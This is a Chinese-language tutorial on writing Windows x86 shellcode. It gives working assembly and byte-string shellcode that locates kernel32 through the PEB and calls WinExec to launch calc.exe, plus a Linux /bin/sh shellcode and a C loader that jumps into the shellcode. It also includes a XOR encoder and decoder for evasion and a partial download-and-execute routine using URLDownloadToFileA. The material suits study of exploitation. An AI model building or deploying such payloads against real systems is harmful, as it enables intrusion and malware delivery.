Window向之x86 ShellCode入门
字数 1766 2025-08-07 08:22:23
Windows x86 ShellCode 入门教程
0x0 前言
ShellCode是一组用于在受控机器上执行命令的指令集,本文将从基础开始讲解Windows下x86架构ShellCode的原理和实现方法。
0x1 汇编基础
0x1.1 汇编语言概述
汇编语言是一种低级语言,特点:
- 直接对应机器指令
- 不同设备有不同的指令集
- 需要通过汇编程序转换为机器码
x86/amd64汇编的两大风格:
- Intel风格:Microsoft Windows/Visual C++使用
- AT&T风格:GNU/Gas使用
0x1.2 寄存器知识
IA32处理器中的8个32位通用寄存器:
- EAX:累加器
- EBX:基址寄存器
- ECX:计数寄存器
- EDX:数据寄存器
- ESP:堆栈指针
- EBP:基址指针
- ESI:源变址
- EDI:目标变址
0x1.3 常用汇编指令
- 数据传输:mov, push, pop, lea
- 算术运算:add, inc/dec, imul, idiv
- 逻辑运算:and, or, xor, not, neg
- 移位操作:shl/shr
- 控制转移:jmp/je/jne/jz/jg/jge/jl/jle
- 比较:cmp
- 函数调用:call/ret
- 字符串操作:lodsd
0x1.4 函数调用约定
x86三种常用调用约定:
-
Cdecl(C调用约定):
- 参数从右向左压栈
- 结果保存在EAX/AX/AL
- 调用者清理堆栈
-
Stdcall(WinAPI默认):
- 参数从右向左压栈
- 被调用者清理堆栈
-
Fastcall:
- 部分参数通过寄存器传递
0x2 ShellCode概念
ShellCode定义:
- 一组注入并执行的指令,用于控制被利用程序
- 直接操作寄存器和被利用程序的功能
- 机器代码序列,注入内存控制程序执行流程
0x3 x86 ShellCode分类
0x3.1 Linux ShellCode
特点:
- 通过int 0x80中断调用系统调用
- 系统调用号存入EAX
- 参数存入EBX、ECX、EDX等寄存器
示例(execve('/bin/sh')):
global _start
section .text
_start:
xor eax,eax
push eax
push 0x68732f2f ; //bin/sh
push 0x6e69622f
mov ebx, esp ; ebx指向'//bin/sh'
push eax
push ebx
mov ecx, esp ; ecx指向参数数组
mov al, 0xb ; execve系统调用号
int 0x80
0x3.2 Windows ShellCode
特点:
- 通过WinAPI/NTAPI函数调用
- 需要获取Kernel32.dll基地址
- 解析导出表获取函数地址
- 比Linux ShellCode复杂
执行步骤:
- 获取Kernel32.dll基地址
- 解析Kernel32.dll获取导出函数地址
- 调用所需函数实现功能
0x4 Windows x86 ShellCode实现
0x4.1 获取Kernel32基地址
通过PEB结构获取:
mov ebx, fs:0x30 ; 获取PEB指针
mov ebx, [ebx + 0x0C] ; 获取PEB_LDR_DATA指针
mov ebx, [ebx + 0x14] ; 获取InMemoryOrderModuleList第一个条目
mov ebx, [ebx] ; 获取第二个条目(ntdll.dll)
mov ebx, [ebx] ; 获取第三个条目(kernel32.dll)
mov ebx, [ebx + 0x10] ; 获取kernel32.dll基地址
0x4.2 获取导出函数地址
步骤:
- 获取PE头(e_lfanew)
- 获取导出表(DataDirectory[0])
- 遍历导出函数名匹配目标函数
- 通过序号获取函数RVA
- 计算VA = 基地址 + RVA
汇编实现:
mov edx, [ebx + 3Ch] ; EDX = DOS->e_lfanew
add edx, ebx ; EDX = PE头
mov edx, [edx + 78h] ; EDX = 导出表偏移
add edx, ebx ; EDX = 导出表
xor ecx, ecx ; ECX = 0
dec ecx ; ECX = -1
mov esi, [edx + 20h] ; ESI = 函数名指针数组
add esi, ebx
Fetch_Func:
inc ecx
lodsd ; EAX = 当前函数名RVA
add eax, ebx ; EAX = 函数名VA
cmp dword ptr[eax], 0x456E6957 ; "EniW"(WinExec)
jnz Fetch_Func
cmp dword ptr[eax + 4h], 0x636578 ; "cex"
jnz Fetch_Func
; 获取序号
mov esi, [edx + 24h]
add esi, ebx
mov cx, [esi + 2 * ecx]
; 获取函数地址
mov esi, [edx + 1Ch]
add esi, ebx
mov edx, [esi + ecx * 4]
add edx, ebx ; EDX = WinExec地址
0x4.3 调用WinExec函数
xor ebx, ebx
push ebx ; 字符串结束符
push 0x6578652E ; ".exe"
push 0x636C6163 ; "calc"
mov esi, esp ; ESI指向"calc.exe"
push 10 ; SW_SHOWDEFAULT
push esi ; "calc.exe"
call edx ; 调用WinExec
add esp, 0xc ; 清理堆栈
0x4.4 完整ShellCode示例
.386
.model flat,stdcall
option casemap:none
.code
start:
ASSUME fs:NOTHING
mov ebx, fs:[30h] ; 获取PEB
ASSUME fs:ERROR
mov ebx, [ebx + 0Ch] ; PEB_LDR_DATA
mov ebx, [ebx + 14h] ; InMemoryOrderModuleList
mov ebx, [ebx] ; ntdll.dll
mov ebx, [ebx] ; kernel32.dll
mov ebx, [ebx + 10h] ; kernel32基地址
mov edx, [ebx + 3Ch] ; PE头
add edx, ebx
mov edx, [edx + 78h] ; 导出表
add edx, ebx
xor ecx, ecx
dec ecx
mov esi, [edx + 20h] ; 函数名数组
add esi, ebx
Fetch_Func:
inc ecx
lodsd
add eax, ebx
cmp dword ptr[eax], 456E6957h ; "WinE"
jnz Fetch_Func
cmp dword ptr[eax + 4h], 636578h ; "Exec"
jnz Fetch_Func
mov esi, [edx + 24h] ; 序号数组
add esi, ebx
mov cx, [esi + 2 * ecx]
mov esi, [edx + 1Ch] ; 函数地址数组
add esi, ebx
mov edx, [esi + ecx * 4]
add edx, ebx ; WinExec地址
xor ebx, ebx
push ebx
push 6578652Eh ; ".exe"
push 636C6163h ; "calc"
mov esi, esp
push 10 ; SW_SHOWDEFAULT
push esi ; "calc.exe"
call edx ; 调用WinExec
add esp, 12h
end start
0x4.5 ShellCode加载器
C语言加载示例:
#pragma comment(linker, "/section:.data,RWE")
unsigned char shellcode[] = "\x64\x8B\x1D\x30\x00\x00\x00"
"\x8B\x5B\x0C"
"\x8B\x5B\x14"
"\x8B\x1B"
"\x8B\x1B"
"\x8B\x5B\x10"
"\x8B\x53\x3C"
"\x03\xD3"
"\x8B\x52\x78"
"\x03\xD3"
"\x33\xC9"
"\x49"
"\x8B\x72\x20"
"\x03\xF3"
"\x41"
"\xAD"
"\x03\xC3"
"\x81\x38\x57\x69\x6E\x45"
"\x75\xF4"
"\x81\x78\x04\x78\x65\x63\x00"
"\x75\xEB"
"\x8B\x72\x24"
"\x03\xF3"
"\x66\x8B\x0C\x4E"
"\x8B\x72\x1C"
"\x03\xF3"
"\x8B\x14\x8E"
"\x03\xD3"
"\x33\xDB"
"\x53"
"\x68\x2E\x65\x78\x65"
"\x68\x63\x61\x6C\x63"
"\x8B\xF4"
"\x6A\x0A"
"\x56"
"\xFF\xD2"
"\x83\xC4\x12";
void main() {
_asm {
mov eax, offset shellcode;
jmp eax;
}
}
0x5 ShellCode优化
0x5.1 去除空字节
原因:
- 某些函数(如strcpy)会因空字节截断
- 使ShellCode更健壮
方法:
-
指令替换:
; 原指令(有空字节) mov ebx, fs:[0x30] ; 替换为 xor esi, esi mov ebx, fs:[0x30+esi] -
字符串处理:
; 原指令(有空字节) cmp dword ptr [eax+4], 636578h ; 替换为 xor edi, edi push edi push 63h push word ptr 6578h mov edi, [esp] add esp, 0Ah
0x5.2 ShellCode编码
XOR编码示例:
-
编码器:
key = 0x5A shellcode = b"\x64\x8B\x1D..." encoded = bytes([b ^ key for b in shellcode]) -
解码器:
jmp call_point decoder: pop edi xor ecx, ecx mov cl, shellcode_size decode: xor byte ptr [edi], 0x5A inc edi loop decode jmp short shellcode call_point: call decoder shellcode: nop
0x5.3 增强功能
实现下载并执行文件的ShellCode:
- 获取GetProcAddress地址
- 调用GetProcAddress获取LoadLibraryA地址
- 加载urlmon.dll
- 获取URLDownloadToFileA地址
- 下载文件
- 执行文件
- 调用ExitProcess
关键代码:
; 获取GetProcAddress地址
; (同前获取WinExec地址的方法)
; 调用GetProcAddress获取LoadLibraryA
xor ecx, ecx
push ebx ; kernel32基址
push edx ; GetProcAddress地址
push ecx ; 0
push 0x41797261 ; "Ayra"
push 0x7262694C ; "rbiL"
push 0x64616F4C ; "daoL"
push esp ; "LoadLibrary"
push ebx ; kernel32.dll基址
call edx
add esp, 0xc
; 加载urlmon.dll
pop ecx
push eax
push ecx
mov cx, 0x6c6c ; "ll"
push ecx
push 0x642e6e6f ; "d.no"
push 0x6d6c7275 ; "mlru"
push esp ; "urlmon.dll"
call eax ; LoadLibrary("urlmon.dll")
add esp, 0x10
; 获取URLDownloadToFileA地址
mov edx, [esp + 0x4]
xor ecx, ecx
push ecx
mov cx, 0x4165 ; "Ae"
push ecx
push 0x6c69466f ; "liFo"
push 0x5464616f ; "Tdao"
push 0x6c6e776f ; "lnwo"
push 0x444c5255 ; "DLRU"
push esp ; "URLDownloadToFileA"
push eax ; urlmon.dll地址
call edx
add esp, 0x18
; 调用URLDownloadToFileA
; (参数设置和调用代码)
0x6 总结
本文详细讲解了Windows x86 ShellCode的开发过程:
- 汇编基础知识和函数调用约定
- ShellCode的基本概念和分类
- Windows ShellCode的实现步骤:
- 获取Kernel32基地址
- 解析导出表获取函数地址
- 调用目标函数
- ShellCode优化技术:
- 去除空字节
- 编码技术
- 功能增强
通过本教程,读者可以掌握Windows平台下x86架构ShellCode的编写原理和方法,为进一步开发更复杂的ShellCode打下基础。